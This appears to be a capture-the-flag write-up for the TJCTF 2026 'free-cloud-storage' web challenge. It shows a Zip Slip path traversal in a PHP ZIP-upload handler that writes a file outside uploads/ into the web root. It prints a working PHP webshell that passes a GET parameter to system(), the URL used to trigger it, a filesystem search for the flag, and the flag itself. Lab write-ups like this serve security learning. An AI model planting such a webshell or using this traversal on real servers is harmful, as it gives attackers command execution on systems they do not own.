TJCTF2026-web/free-cloud-storage
TJCTF 2026

TJCTF2026-web/free-cloud-storage

File analysis

In upload.php, the ZIP upload handling has logic like:

$uploadDir = __DIR__ . '/uploads/';

$zipper->make($destination)->extractTo($uploadDir);

The server’s idea is:

  1. The user uploads a ZIP file.
  2. The server saves the ZIP file.
  3. The server extracts the ZIP contents into the uploads/ directory.

If the ZIP file contains an entry named:

../pwn.php

then when extracted into:

/var/www/html/uploads/

the actual path becomes:

/var/www/html/uploads/../pwn.php

After normalizing the path, it is equivalent to:

/var/www/html/pwn.php

That is, the attacker can write a file outside the uploads/ directory — specifically, write a PHP webshell into the web root.

This is a Zip Slip / Path Traversal during archive extraction bug.

Creating the ZIP payload

We don’t upload PHP directly. Instead, we create a ZIP file containing a PHP shell.

Create a pwn.php file and zip it:

<?php
echo "<pre>";
$cmd = $_GET["cmd"] ?? "id";
system($cmd);
echo "</pre>";
?>

Upload that zip file:

Upload and access the webshell that was just written out:

/pwn.php?cmd=id

Result:

So we have executed a system command on the server with the www-data user privileges.

At this point, the vulnerability has been successfully exploited into Remote Code Execution.

Finding the flag location

Use the find command to look for files whose name contains flag:

cmd = find / -name "*flag*" 2>/dev/null

Result

Read the file /var/www/html/flag.txt:

Flag

tjctf{i_l0v3_fr33_st0r4g3}